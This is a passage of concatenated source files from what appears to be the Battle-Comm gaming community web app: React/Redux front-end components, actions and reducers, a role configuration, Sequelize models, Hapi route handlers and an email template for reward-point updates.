columns"> <h5>End Date</h5> <h5><strong>{formatJSONDate(this.state.subscription.current_period_end)}</strong></h5> <hr/> </div> </div> : <h4>Battle-Comm subscribers earn extra rewards, free shipping on all purchases, and first-hand access to extended features. <Link to="/subscribe"><strong>Become a BC Subscriber</strong></Link></h4> } </div> </div> </ViewWrapper> ); } } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(PlayerAccountEdit)); <file_sep>/src/actions/FactionActions.js 'use strict'; import FactionConstants from '../constants/FactionConstants'; import FactionService from '../services/FactionService'; const _initiateRequest = (type, data) => { return { 'type': type, 'data': data }; }; const _returnResponse = (type, data) => { return { 'type': type, 'data': data, 'receivedAt': Date.now() }; }; export default { get: (id) => { return (dispatch) => { dispatch(_initiateRequest(FactionConstants.INITIATE_FACTION_REQUEST, id)); return FactionService.get(id).then((faction) => { dispatch(_returnResponse(FactionConstants.GET_FACTION, faction)); return faction; }); }; }, getAll: () => { return (dispatch) => { dispatch(_initiateRequest(FactionConstants.INITIATE_FACTION_REQUEST)); return FactionService.getAll().then((factions) => { dispatch(_returnResponse(FactionConstants.GET_FACTIONS, factions)); return factions; }); }; }, search: (criteria) => { return (dispatch) => { dispatch(_initiateRequest(FactionConstants.INITIATE_FACTION_REQUEST)); return FactionService.search(criteria).then((response) => { dispatch(_returnResponse(FactionConstants.GET_FACTIONS, response.results)); return response.pagination; }); }; }, create: (data) => { return (dispatch) => { dispatch(_initiateRequest(FactionConstants.INITIATE_FACTION_REQUEST)); return FactionService.create(data).then((faction) => { dispatch(_returnResponse(FactionConstants.CREATE_FACTION, faction)); return faction; }); }; }, update: (id, data) => { return (dispatch) => { dispatch(_initiateRequest(FactionConstants.INITIATE_FACTION_REQUEST)); return FactionService.update(id, data).then((faction) => { dispatch(_returnResponse(FactionConstants.UPDATE_FACTION, faction)); return faction; }); }; }, remove: (id) => { return (dispatch) => { dispatch(_initiateRequest(FactionConstants.INITIATE_FACTION_REQUEST, id)); return FactionService.remove(id).then((response) => { dispatch(_returnResponse(FactionConstants.REMOVE_FACTION, id)); return response; }); }; } }; <file_sep>/roleConfig.js 'use strict'; module.exports = [ { 'name': 'public', 'baseBit': 0, 'roleFlags': 0, 'homeState': '/', }, { 'name': 'member', 'baseBit': (1 << 0), // 1 'roleFlags': 1, 'homeState': '/players/dashboard', }, { 'name': 'subscriber', 'baseBit': (1 << 1), // 2 'roleFlags': 3, // subscriber, member 'homeState': '/players/dashboard', }, { 'name': 'tourneyAdmin', 'baseBit': (1 << 2), // 4 'roleFlags': 5, // member, tourneyAdmin 'homeState': '/players/dashboard', }, { 'name': 'eventAdmin', 'baseBit': (1 << 3), // 8 'roleFlags': 13, // member, tourneyAdmin, eventAdmin 'homeState': '/admin', }, { 'name': 'eventAdminSubscriber', 'baseBit': (1 << 4), // 16 'roleFlags': 31, // member, subscriber, tourneyAdmin, eventAdmin 'homeState': '/admin', }, { 'name': 'newsContributor', 'baseBit': (1 << 5), // 32 'roleFlags': 33, // member, newsContributor 'homeState': '/players/dashboard', }, { 'name': 'venueAdmin', 'baseBit': (1 << 6), // 64 'roleFlags': 77, // member, tourneyAdmin, eventAdmin, venueAdmin 'homeState': '/admin', }, { 'name': 'clubAdmin', 'baseBit': (1 << 7), // 128 'roleFlags': 257, // member, clubAdmin 'homeState': '/admin', }, { 'name': 'systemAdmin', 'baseBit': (1 << 8), // 256 'roleFlags': 495, // member, subscriber, tourneyAdmin, eventAdmin, newsContributor, venueAdmin, clubAdmin, systemAdmin 'homeState': '/admin', }, ]; <file_sep>/src/library/validations/reducers/index.js 'use strict'; import FormConstants from '../constants/FormConstants'; const _setInput = (state, input) => { if (!input.formName) { throw new Error('formsReducer.js: Input has no form property'); } let _forms = Object.assign({}, state); _forms[input.formName] = _forms[input.formName] ? _forms[input.formName] : {'inputs': [], 'isValid': false}; let index = _forms[input.formName].inputs.findIndex((_input) => _input.name === input.name); if (index !== -1) { _forms[input.formName].inputs[index] = input; return _validateForm(_forms, input.formName); } else { _forms[input.formName].inputs.push(input); return _validateForm(_forms, input.formName); } }; const _removeInput = (state, input) => { let _forms = Object.assign({}, state); if (_forms[input.formName]) { let index = _forms[input.formName].inputs.findIndex((_input) => _input.name === input.name); if (index !== -1) { _forms[input.formName].inputs.splice(index, 1); return _validateForm(_forms, input.formName); } } return _forms; }; const _validateForm = (forms, formName) => { forms[formName].isValid = true; forms[formName].inputs.forEach((input, i) => { if (input.valid === false) { forms[formName].isValid = false; return forms; } }); if (forms[formName]) { return forms; } else { // TODO: Find out why this 'if' statement was implemented console.log('Validation Library Reducer: What is this?') } }; const _removeForm = (state, formName) => { let _forms = Object.assign({}, state); delete _forms[formName]; return _forms; }; const forms = (state = {}, action) => { switch (action.type) { case FormConstants.ADD_INPUT: return _setInput(state, action.data); case FormConstants.REMOVE_INPUT: return _removeInput(state, action.data); case FormConstants.RESET_FORM: return _removeForm(state, action.data); case FormConstants.RESET_ALL_FORMS: return {}; default: return state; } }; export { forms }; <file_sep>/compiled-server/models/newsPost.js 'use strict'; module.exports = function (sequelize, DataTypes) { var NewsPost = sequelize.define('NewsPost', { 'title': DataTypes.STRING, 'callout': DataTypes.TEXT, 'body': DataTypes.TEXT, 'published': DataTypes.BOOLEAN, 'featured': DataTypes.BOOLEAN, 'tags': DataTypes.STRING, 'category': DataTypes.STRING }, { 'classMethods': { associate: function associate(models) { NewsPost.hasMany(models.File); NewsPost.belongsTo(models.Faction); NewsPost.belongsTo(models.GameSystem); NewsPost.belongsTo(models.Manufacturer); NewsPost.belongsTo(models.User); } } }); return NewsPost; };<file_sep>/src/components/pages/admin/AssignPoints.jsx 'use strict'; import React from 'react'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {Link, withRouter} from 'react-router-dom'; import {AlertActions} from '../../../library/alerts'; import {handlers} from '../../../library/utilities'; import {UserActions} from '../../../library/authentication'; import {Form, getFormErrorCount, Input, TextArea, Select, DatePicker} from '../../../library/validations'; import ViewWrapper from '../../ViewWrapper'; import GameSystemActions from '../../../actions/GameSystemActions'; import GameSystemService from '../../../services/GameSystemService'; import VenueService from '../../../services/VenueService'; import AdminMenu from '../../pieces/AdminMenu'; const mapStateToProps = (state) => { return { 'forms': state.forms, 'gameSystems': state.gameSystems, 'user': state.user } } const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert, 'getGameSystems': GameSystemActions.getAll, 'modifyUser': UserActions.modify, }, dispatch); } class AssignPoints extends React.Component { constructor() { super(); this.state = { 'factions': [[]], 'selectedGameSystems': [''], 'players': [{ 'faction': '', 'gameSystem': '' }], 'venueEvent': { 'eventDate': '' }, } this.addPlayer = this.addPlayer.bind(this); this.assignmentFormsAreInvalid = this.assignmentFormsAreInvalid.bind(this); this.handleEventInputChange = this.handleEventInputChange.bind(this); this.handleSubmit = this.handleSubmit.bind(this); this.showAlert = this.showAlert.bind(this); } componentDidMount() { document.title = "Battle-Comm | RP Assignment"; this.props.getGameSystems(); this.setState({ 'venueEvent': { 'venueAdmin': this.props.user.firstName + ' ' + this.props.user.lastName } }) } addPlayer() { let players = this.state.players; let factions = this.state.factions; let selectedGameSystems = this.state.selectedGameSystems; factions[players.length] = []; selectedGameSystems[players.length] = ''; players[players.length] = { 'faction': '', 'gameSystem': '' }; this.setState({ 'factions': factions, 'players': players, 'selectedGameSystems': selectedGameSystems }); } assignmentFormsAreInvalid() { let venueEventFormIsInvalid = getFormErrorCount(this.props.forms, 'venueEventForm') > 0; let playerFormsAreInvalid = this.state.players.some((player, i) => { return getFormErrorCount(this.props.forms, `venueEventPlayersForm-${i}`) > 0; }) let totalPoints = 0; this.state.players.forEach((player) => { totalPoints += player.pointsEarned; }); let notEnoughPoints = totalPoints > this.props.user.rpPool; return venueEventFormIsInvalid || playerFormsAreInvalid || this.state.players.length < 1 || notEnoughPoints; } handleEventInputChange(e) { this.setState({ 'venueEvent': handlers.updateInput(e, this.state.venueEvent) }); } handleGameSystemChange(index, e) { let players = this.state.players; players[index].faction = ''; let factions = this.state.factions; let selectedGameSystems = this.state.selectedGameSystems; selectedGameSystems[index] = e.target.value; GameSystemService.get(e.target.value).then((gameSystem) => { factions[index] = gameSystem.Factions; players[index].gameSystem = gameSystem.name; this.setState({ 'players': players, 'factions': factions, 'selectedGameSystems': selectedGameSystems }); }); } handlePlayerInputChange(index, e) { let players = this.state.players; players[index][e.target.name] = e.target.value; this.setState({ 'players': players }); }; handleSubmit() { let data = { 'venueEvent': this.state.venueEvent, 'players': this.state.players }; data.venueEvent.adminUsername = this.props.user.username; VenueService.submitPointAssignment(data).then((response) => { this.props.modifyUser({ 'rpPool': response.rpPool }); this.showAlert('pointsSubmitted'); this.props.history.push('/players/dashboard'); }); } removePlayer(index, e) { e.preventDefault(); let players = this.state.players; let factions = this.state.factions; let selectedGameSystems = this.state.selectedGameSystems; players.splice(index, 1); factions.splice(index, 1); selectedGameSystems.splice(index, 1); this.setState({ 'players': players, 'factions': factions, 'selectedGameSystems': selectedGameSystems }); } showAlert(selector) { const alerts = { 'pointsSubmitted': () => { this.props.addAlert({ 'title': 'Point Assignment Submitted', 'message': `An e-mail has been sent to the site admin. Please allow a few days for a response.`, 'type': 'success', 'delay': 3000 }); }, 'notEnoughRp': () => { this.props.addAlert({ 'title': 'RP Pool is Empty', 'message': `Your RP pool is currently empty. E-mail us at <EMAIL> and ask about purchasing RP for an event or being sponsored by Battle-Comm.`, 'type': 'info', 'delay': 5000 }); } } return alerts[selector](); } render() { return ( <ViewWrapper headerImage="/images/Titles/Reward_Point_Assignment.png" headerAlt="Reward Point Assignment"> <div className="row"> <div className="small-12 columns"> <hr/> <AdminMenu></AdminMenu> <hr/> </div> </div> <div className="row"> <div className="small-12 columns"> <h2>Venue / Event</h2> <h3 className="text-center">You currently have {this.props.user.rpPool} Reward Points for distribution</h3> <hr/> <Form name="venueEventForm" submitText="Submit Point Assignment" submitButton={false}> <div className="row"> <div className="form-group small-12 medium-4 columns"> <label className="required">Venue Name</label> <Input type="text" name="venueName" value={this.state.venueEvent.venueName} handleInputChange={this.handleEventInputChange} required={true} /> </div> <div className="form-group small-12 medium-4 columns"> <label className="required">Venue Admin</label> <Input type="text" name="venueAdmin" value={this.state.venueEvent.venueAdmin} handleInputChange={this.handleEventInputChange} required={true} /> </div> <div className="form-group small-12 medium-4 columns"> <label className="required">Event Name</label> <Input type="text" name="eventName" value={this.state.venueEvent.eventName} handleInputChange={this.handleEventInputChange} required={true} /> </div> </div> <div className="row"> <div className="form-group small-12 medium-6 columns"> <label className="required">Event Date</label> <DatePicker name="eventDate" value={this.state.venueEvent.eventDate} handleInputChange={this.handleEventInputChange} required={true} /> </div> <div className="form-group small-12 medium-6 columns"> <label className="required">Return Email</label> <Input type="text" name="returnEmail" value={this.state.venueEvent.returnEmail} handleInputChange={this.handleEventInputChange} validate="email" required={true} /> </div> </div> </Form> <h2>Players</h2> { this.state.players.map((player, i) => <Form key={i} name={`venueEventPlayersForm-${i}`} submitText="Submit Point Assignment" submitButton={false}> <fieldset> <div className="row"> <div className="form-group small-12 medium-4 columns"> <label className="required">Full Name</label> <Input type="text" name="fullName" value={this.state.players[i].fullName} handleInputChange={this.handlePlayerInputChange.bind(this, i)} required={true} /> </div> <div className="form-group small-12 medium-4 columns"> <label className="required">Email</label> <Input type="text" name="email" value={this.state.players[i].email} handleInputChange={this.handlePlayerInputChange.bind(this, i)} validate="email" required={true} /> </div> <div className="form-group small-12 medium-4 columns"> <label className="required">Points Earned</label> <Input type="number" name="pointsEarned" value={this.state.players[i].pointsEarned} handleInputChange={this.handlePlayerInputChange.bind(this, i)} required={true} /> </div> </div> <div className="row"> <div className="form-group small-12 medium-6 columns"> <label className="required">Game System</label> <Select name="selectedGameSystems" value={this.state.selectedGameSystems[i].gameSystem} handleInputChange={this.handleGameSystemChange.bind(this, i)} required={true}> <option value="">--Select--</option> { this.props.gameSystems.map((gameSystem, i) => <option key={gameSystem.id} value={gameSystem.id}>{gameSystem.name}</option> ) } </Select> </div> <div className="form-group small-12 medium-6 columns"> <label>Faction</label> <Select name="faction" value={this.state.players[i].faction} handleInputChange={this.handlePlayerInputChange.bind(this, i)}> <option value="">--Select--</option> { this.state.factions[i].map((faction, i) => <option key={faction.id} value={faction.name}>{faction.name}</option> ) } </Select> </div> </div> <div className="row"> <div className="form-group small-12 medium-4 columns"> <label className="required">Total Wins</label> <Input type="number" name="totalWins" value={this.state.players[i].totalWins} handleInputChange={this.handlePlayerInputChange.bind(this, i)} required={true} /> </div> <div className="form-group small-12 medium-4 columns"> <label className="required">Total Losses</label> <Input type="number" name="totalLosses" value={this.state.players[i].totalLosses} handleInputChange={this.handlePlayerInputChange.bind(this, i)} required={true} /> </div> <div className="form-group small-12 medium-4 columns"> <label className="required">Total Draws</label> <Input type="number" name="totalDraws" value={this.state.players[i].totalDraws} handleInputChange={this.handlePlayerInputChange.bind(this, i)} required={true} /> </div> </div> <div className="row"> <div className="form-group small-12 columns"> <label className="required">List of Achievements Earned</label> <TextArea type="text" name="achievementsList" value={this.state.players[i].achievementsList} rows="1" handleInputChange={this.handlePlayerInputChange.bind(this, i)} /> </div> </div> { i > 0 && <button className="button error" onClick={this.removePlayer.bind(this, i)}><span className="fa fa-minus"></span></button> } </fieldset> </Form> ) } <div className="form-group"> <button className="button" onClick={this.addPlayer}><span className="fa fa-plus"></span> Add Player</button> </div> <div className="form-group text-right"> <button className="button right" onClick={this.handleSubmit} disabled={this.assignmentFormsAreInvalid()}>Submit Point Assignment</button> </div> </div> </div> </ViewWrapper> ) } } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(AssignPoints)); <file_sep>/src/services/UserMessageService.js 'use strict'; import axios from 'axios'; export default { get: (id) => { return axios.get('/userMessages/' + id) .then(function(response) { return response.data; }); }, getAll: () => { return axios.get('/userMessages') .then(function(response) { return response.data; }); }, search: (criteria) => { return axios.post('/userMessages/search', criteria) .then(function(response) { return response.data; }); }, create: (data) => { return axios.post('/userMessages', data) .then(function(response) { return response.data; }); }, update: (id, data) => { return axios.put('/userMessages/' + id, data) .then(function(response) { return response.data; }); }, remove: (id) => { return axios.delete('/userMessages/' + id) .then(function(response) { return response.data; }); } }; <file_sep>/compiled-server/routes/handlers/factionRankings.js 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _models = require('../../models'); var _models2 = _interopRequireDefault(_models); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } // Product Route Configs var factionRankings = { search: function search(request, reply) { var pageSize = request.payload.pageSize || 20; var offset = (request.payload.pageNumber - 1) * pageSize; var searchConfig = { 'FactionId': request.params.id }; _models2.default.FactionRanking.findAll({ 'where': searchConfig, 'include': [{ 'model': _models2.default.Faction, 'attributes': ['name'] }, { 'model': _models2.default.GameSystemRanking, 'attributes': ['UserId'], 'include': [{ 'model': _models2.default.GameSystem, 'attributes': ['name', 'id'] }, { 'model': _models2.default.User, 'attributes': ['username'] }] }], 'offset': offset, 'limit': request.payload.pageSize, 'order': [['totalWins', 'DESC']] }).then(function (response) { var results = response; _models2.default.FactionRanking.findAll({ 'where': searchConfig }).then(function (rankings) { var count = rankings.count; var totalPages = Math.ceil(count === 0 ? 1 : count / pageSize); reply({ 'pagination': { 'pageNumber': request.payload.pageNumber, 'pageSize': pageSize, 'totalPages': totalPages, 'totalResults': count }, 'results': results }).code(200); }); }); } }; exports.default = factionRankings;<file_sep>/server/routes/handlers/userNotifications.js 'use strict'; import models from '../../models'; import Boom from 'boom'; // Product Route Configs let userNotifications = { get: (request, reply) => { models.UserNotification.find({ 'where': { 'UserId': request.params.id } }) .then((response) => { if (response) { reply(response).code(200); } else { reply().code(404); } }); }, create: (request, reply) => { models.UserNotification.findOrCreate({ 'where': { '$and': [{ 'UserId': request.payload.UserId }, { 'type': request.payload.type }, { 'fromId': request.payload.fromId } ] }, 'defaults': { 'UserId': request.payload.UserId, 'type': request.payload.type, 'status': request.payload.status, 'fromId': request.payload.fromId, 'fromUsername': request.payload.fromUsername, 'fromName': request.payload.fromName } }) .then((response) => { let created = response[1]; if (created) { reply(response).code(200); } else { reply(Boom.badRequest('Request already sent')); } }); }, update: (request, reply) => { models.UserNotification.find({ 'where': { 'id': request.params.id } }) .then((userNotification) => { if (userNotification) { userNotification.updateAttributes({ 'UserId': request.payload.UserId, 'type': request.payload.type, 'status': request.payload.status, }).then((response) => { reply(response).code(200); }); } else { reply().code(404); } }); }, 'search': (request, reply) => { let searchByConfig; let pageSize = request.payload.pageSize || 20; let searchQuery = request.payload.searchQuery || ''; let offset = (request.payload.pageNumber - 1) * pageSize; let orderBy = request.payload.orderBy ? (request.payload.orderBy === 'updatedAt' || request.payload.orderBy === 'createdAt' ? [request.payload.orderBy, 'DESC'] : [request.payload.orderBy, 'ASC']) : undefined; if (searchQuery) { searchByConfig = request.payload.searchBy ? { 'UserId': request.payload.UserId, [request.payload.searchBy]: { '$iLike': '%' + searchQuery + '%' } } : { 'UserId': request.payload.UserId, '$or': [{ 'name': { '$iLike': '%' + searchQuery + '%' } }, { 'description': { '$iLike': '%' + searchQuery + '%' } } ] }; } else { searchByConfig = { 'UserId': request.payload.UserId }; } models.UserNotification.findAndCountAll({ 'where': searchByConfig, 'order': orderBy ? [orderBy] : [], 'offset': offset, 'limit': pageSize }).then((response) => { let count = response.count; let results = response.rows; let totalPages = Math.ceil(count === 0 ? 1 : (count / pageSize)); reply({ 'pagination': { 'pageNumber': request.payload.pageNumber, 'pageSize': pageSize, 'totalPages': totalPages, 'totalResults': count }, 'results': results }).code(200); }); }, delete: (request, reply) => { models.UserNotification.destroy({ 'where': { 'id': request.params.id } }) .then((response) => { if (response) { reply().code(200); } else { reply().code(404); } }); } }; export default userNotifications; <file_sep>/server/models/achievement.js 'use strict'; module.exports = function(sequelize, DataTypes) { var Achievement = sequelize.define('Achievement', { 'title': { 'type': DataTypes.STRING, 'unique': true }, 'category': DataTypes.STRING, 'description': DataTypes.TEXT, 'priority': DataTypes.INTEGER, 'rpValue': DataTypes.INTEGER }, { 'classMethods': { associate: function(models) { Achievement.hasOne(models.File); Achievement.belongsTo(models.GameSystem); Achievement.belongsToMany(models.User, { 'through': 'userHasAchievements' }); } } }); return Achievement; }; <file_sep>/src/reducers/factions.js 'use strict'; import FactionConstants from '../constants/FactionConstants'; const faction = (state = {}, action) => { switch (action.type) { case FactionConstants.GET_FACTION: return Object.assign({}, state, action.data); case FactionConstants.CREATE_FACTION: return Object.assign({}, state, action.data); case FactionConstants.UPDATE_FACTION: return Object.assign({}, state, action.data); default: return state; } }; const factions = (state = [], action) => { switch (action.type) { case FactionConstants.GET_FACTIONS: return [...action.data]; case FactionConstants.CREATE_FACTION: return [ ...state, faction(undefined, action) ]; case FactionConstants.REMOVE_FACTION: let factionArray = [...state]; let index = state.findIndex((faction) => faction.id === action.data); if (index !== -1) { factionArray.splice(index, 1); } return factionArray; default: return state; } } export { faction, factions }; <file_sep>/src/constants/AchievementConstants.js 'use strict'; import keyMirror from 'keymirror'; export default keyMirror({ INITIATE_ACHIEVEMENT_REQUEST: null, GET_ACHIEVEMENT: null, GET_ACHIEVEMENTS: null, CREATE_ACHIEVEMENT: null, UPDATE_ACHIEVEMENT: null, REMOVE_ACHIEVEMENT: null, FILTER_ACHIEVEMENTS: null }); <file_sep>/server/email-templates/rpUpdate.js 'use strict'; function buildTemplate(data) { return ` <div style="max-width:800px;position:relative;margin:20px auto;padding:15px;border:2px solid black;box-shadow:0 0 5px 2px lightgray;letter-spacing:1px;background-color:aliceblue;box-shadow: 0 0 2px 1px rgba(31, 31, 33, 0.47);"> <div style="text-align:center;"> <h1 style="font-size:40px; font-size:40px; padding-bottom:5px; margin-top:15px; border-bottom:1px solid #cacaca;">Your Reward Points Have Changed!</h1> <h2 style="font-size:28px">Either an admin has added points to your account, or you have made a recent purchase.</h2> <h2 style="font-size:28px; text-align:center">Remaining Total: ${data.rewardPoints} Reward Points</h2> </div> <div style="text-align:center; border-top:1px solid #cacaca; padding:20px 0 0;"> <img src="https://www.battle-comm.net/images/BC_Web_Logo.png"> </div> </div> ` } export default buildTemplate; <file_sep>/src/components/pieces/AdminMenu.jsx 'use strict'; import React from 'react'; import {Link} from 'react-router-dom'; import roleConfig from '../../../roleConfig'; import createAccessControl from '../../library/authentication/components/AccessControl'; const AccessControl = createAccessControl(roleConfig); export default class AdminMenu extends React.Component { constructor() { super(); } render() { return ( <div className="admin-menu"> <AccessControl customClasses="menu-item" access={['tourneyAdmin', 'eventAdmin', 'venueAdmin', 'newsContributor']}> <Link to="/admin" className="button"> <span className="fa fa-indent"> </span> Admin Dashboard</Link> </AccessControl> <AccessControl customClasses="menu-item" access={['systemAdmin']}> <Link to="/admin/achievements" className="button"> <span className="fa fa-trophy"> </span> Achievements</Link> </AccessControl> <AccessControl customClasses="menu-item" access={['systemAdmin']}> <Link to="/admin/game-systems" className="button"> <span className="fa fa-gamepad"> </span> Game Systems</Link> </AccessControl> <AccessControl customClasses="menu-item" access={['systemAdmin']}> <Link to="/admin/manufacturers" className="button"> <span className="fa fa-industry"> </span> Manufacturers</Link> </AccessControl> <AccessControl customClasses="menu-item" access={['newsContributor']}> <Link to="/admin/news" className="button"> <span className="fa fa-newspaper-o"> </span> News</Link> </AccessControl> <AccessControl customClasses="menu-item" access={['systemAdmin']}> <Link to="/admin/users" className="button"> <span className="fa fa-users"> </span> Players</Link> </AccessControl> <AccessControl customClasses="menu-item" access={['systemAdmin']}> <Link to="/admin/products" className="button"> <span className="fa fa-shopping-bag"> </span> Products</Link> </AccessControl> <AccessControl customClasses="menu-item" access={['systemAdmin']}> <Link to="/admin/product-orders" className="button"> <span className="fa fa-shopping-cart"> </span> Orders</Link> </AccessControl> <AccessControl customClasses="menu-item" access={['eventAdmin']}> <Link to="/admin/venue" className="button"> <span className="fa fa-street-view"> </span> Events</Link> </AccessControl> </div> ) } } <file_sep>/src/components/pages/players/PlayerNotifications.jsx 'use strict'; import React from 'react'; import {Link, withRouter} from 'react-router-dom'; import {connect} from 'react-redux'; import {bindActionCreators} from 'redux'; import {AlertActions} from '../../../library/alerts'; import ViewWrapper from '../../ViewWrapper'; import UserFriendService from '../../../services/UserFriendService'; import UserNotificationActions from '../../../actions/UserNotificationActions'; const mapStateToProps = (state) => { return { 'currentUser': state.user, 'notifications': state.userNotifications } } const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert, 'getNotifications': UserNotificationActions.search, 'sendNotification': UserNotificationActions.create, 'removeNotification': UserNotificationActions.remove }, dispatch); } // TODO: configure pagination better class PlayerNotifications extends React.Component { constructor() { super(); this.state = { 'pagination': {} } this.handleNotificationsPageChange = this.handleNotificationsPageChange.bind(this); this.showAlert = this.showAlert.bind(this); } componentDidMount() { document.title = "Battle-Comm | Player Notifications"; this.handleNotificationsPageChange(1); } acceptAllyRequest(notificationId, fromId, fromUsername) { UserFriendService.create({ 'UserId': this.props.currentUser.id, 'InviteeId': fromId }).then((newFriend) => { this.props.removeNotification(notificationId).then(() => { this.handleNotificationsPageChange(1).then(() => { this.props.sendNotification({ 'UserId': fromId, 'type': 'allyRequestAccepted', 'fromId': this.props.currentUser.id, 'fromUsername': this.props.currentUser.username, 'fromName': this.props.currentUser.firstName + ' ' + this.props.currentUser.lastName }).then(() => { this.showAlert('newAlly', fromUsername); }); }); }) }); } handleNotificationsPageChange(pageNumber = 1) { return this.props.getNotifications({ 'UserId': this.props.currentUser.id, 'pageNumber': pageNumber, 'pageSize': 10, 'orderBy': 'updatedAt' }).then((pagination) => { this.setState({ 'pagination': pagination }); }); } removeNotification(notificationId, fromUsername, alertName) { this.props.removeNotification(notificationId).then(() => { this.handleNotificationsPageChange(1).then(() => { switch(alertName) { case 'allyRequestIgnored': this.showAlert('allyRequestIgnored', fromUsername); break; default: return; } }); }); } showAlert(selector, data) { const alerts = { 'allyRequestIgnored': (data) => { this.props.addAlert({ 'title': 'Ally Request Ignore', 'message': `You have chosen to ignore an ally request from ${data}`, 'type': 'info', 'delay': 3000 }); }, 'newAlly': (fromUsername) => { this.props.addAlert({ 'title': 'Ally Request Approved', 'message': `You have formed a new alliance with ${fromUsername}`, 'type': 'success', 'delay': 3000 }); } } return alerts[selector](data); } render() { return ( <ViewWrapper headerImage="/images/Titles/Notifications.png" headerAlt="Notifications"> <div className="player-dashboard"> <div className="row"> <div className="small-12 medium-6 columns"> <h2>Notifications</h2> <div className="notification"> { this.props.notifications.filter((notification) => notification.type !== 'allyRequestAccepted').length > 0 ? this.props.notifications.filter((notification) => notification.type !== 'allyRequestAccepted').map((notification, i) => <div key={notification.id} className="container ice push-bottom"> { notification.type === 'allyRequestReceived' && <div> <div className=""> New ally request from <strong>{notification.fromUsername}</strong> </div> <div className="text-right"> <br/> <button className="button push-right" onClick={this.acceptAllyRequest.bind(this, notification.id, notification.fromId, notification.fromUsername)}>Accept?</button> <button className="button" onClick={this.removeNotification.bind(this, notification.id, notification.fromUsername, 'allyRequestIgnored')}>Reject?</button> </div> </div> } { notification.type === 'newAchievement' && <div> <span className="fa fa-times" onClick={this.removeNotification.bind(this, notification.id, notification.fromUsername)}></span> <div className=""> Congratulations, you have earned the achievement, {notification.details}! </div> </div> } </div> ) : <div className=""><h3>There are currently no pending notifications</h3></div> } </div> </div> <div className="small-12 medium-6 columns"> <h2>Messages</h2> <div className="notification"> { this.props.notifications.filter((notification, i) => notification.type === 'allyRequestAccepted').length > 0 ? this.props.notifications.filter((notification) => notification.type === 'allyRequestAccepted').map((notification, i) => <div key={notification.id} className="container ice push-bottom"> <span className="fa fa-times" onClick={this.removeNotification.bind(this, notification.id, notification.fromUsername)}></span> <div className=""> <strong>{notification.fromUsername}</strong> accepted your ally request </div> </div> ) : <div className=""><h3>There are currently no pending messages</h3></div> } </div> </div> </div> </div> </ViewWrapper> ); } } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(PlayerNotifications)); <file_sep>/compiled-server/models/manufacturer.js 'use strict'; module.exports = function (sequelize, DataTypes) { var Manufacturer = sequelize.define('Manufacturer', { 'name': DataTypes.STRING, 'description': DataTypes.TEXT, 'url': DataTypes.STRING }, { 'classMethods': { associate: function associate(models) { Manufacturer.hasOne(models.File); Manufacturer.hasMany(models.GameSystem); Manufacturer.hasMany(models.NewsPost); Manufacturer.hasMany(models.Product); } } }); return Manufacturer; };<file_sep>/src/constants/UserPhotoConstants.js 'use strict'; import keyMirror from 'keymirror'; export default keyMirror({ INITIATE_USER_PHOTO_REQUEST: null, GET_USER_PHOTO: null, GET_USER_PHOTOS: null, CREATE_USER_PHOTO: null, UPDATE_USER_PHOTO: null, REMOVE_USER_PHOTO: null, FILTER_USER_PHOTOS: null }); <file_sep>/src/actions/NewsPostActions.js 'use strict'; import NewsPostConstants from '../constants/NewsPostConstants'; import NewsPostService from '../services/NewsPostService'; const _initiateRequest = (type, data) => { return { 'type': type, 'data': data }; }; const _returnResponse = (type, data) => { return { 'type': type, 'data': data, 'receivedAt': Date.now() }; }; export default { get: (id) => { return (dispatch) => { dispatch(_initiateRequest(NewsPostConstants.INITIATE_NEWS_POST_REQUEST, id)); return NewsPostService.get(id).then((newsPost) => { dispatch(_returnResponse(NewsPostConstants.GET_NEWS_POST, newsPost)); return newsPost; }); }; }, getAll: () => { return (dispatch) => { dispatch(_initiateRequest(NewsPostConstants.INITIATE_NEWS_POST_REQUEST)); return NewsPostService.getAll().then((newsPosts) => { dispatch(_returnResponse(NewsPostConstants.GET_NEWS_POSTS, newsPosts)); return newsPosts; }); }; }, search: (criteria) => { return (dispatch) => { dispatch(_initiateRequest(NewsPostConstants.INITIATE_NEWS_POST_REQUEST)); return NewsPostService.search(criteria).then((response) => { dispatch(_returnResponse(NewsPostConstants.GET_NEWS_POSTS, response.results)); return response.pagination; }); }; }, create: (data) => { return (dispatch) => { dispatch(_initiateRequest(NewsPostConstants.INITIATE_NEWS_POST_REQUEST)); return NewsPostService.create(data).then((newsPost) => { dispatch(_returnResponse(NewsPostConstants.CREATE_NEWS_POST, newsPost)); return newsPost; }); }; }, update: (id, data) => { return (dispatch) => { dispatch(_initiateRequest(NewsPostConstants.INITIATE_NEWS_POST_REQUEST)); return NewsPostService.update(id, data).then((newsPost) => { dispatch(_returnResponse(NewsPostConstants.UPDATE_NEWS_POST, newsPost)); return newsPost; }); }; }, remove: (id) => { return (dispatch) => { dispatch(_initiateRequest(NewsPostConstants.INITIATE_NEWS_POST_REQUEST, id)); return NewsPostService.remove(id).then((response) => { dispatch(_returnResponse(NewsPostConstants.REMOVE_NEWS_POST, id)); return response; }); }; } }; <file_sep>/src/reducers/gameSystems.js 'use strict'; import GameSystemConstants from '../constants/GameSystemConstants'; const gameSystem = (state = {}, action) => { switch (action.type) { case GameSystemConstants.GET_GAME_SYSTEM: return Object.assign({}, state, action.data); case GameSystemConstants.CREATE_GAME_SYSTEM: return Object.assign({}, state, action.data); case GameSystemConstants.UPDATE_GAME_SYSTEM: return Object.assign({}, state, action.data); default: return state; } }; const gameSystems = (state = [], action) => { switch (action.type) { case GameSystemConstants.GET_GAME_SYSTEMS: return [...action.data]; case GameSystemConstants.CREATE_GAME_SYSTEM: return [ ...state, gameSystem(undefined, action) ]; case GameSystemConstants.REMOVE_GAME_SYSTEM: let gameSystemArray = [...state]; let index = state.findIndex((gameSystem) => gameSystem.id === action.data); if (index !== -1) { gameSystemArray.splice(index, 1); } return gameSystemArray; default: return state; } } export { gameSystem, gameSystems }; <file_sep>/server/routes/handlers/venues.js 'use strict'; import models from '../../models'; import env from '../../../envVariables'; import nodemailer from 'nodemailer'; import formatJSONDate from '../../utils/formatJSONDate'; import buildPointAssignmentEmail from '../../email-templates/pointAssignment'; let transporter = 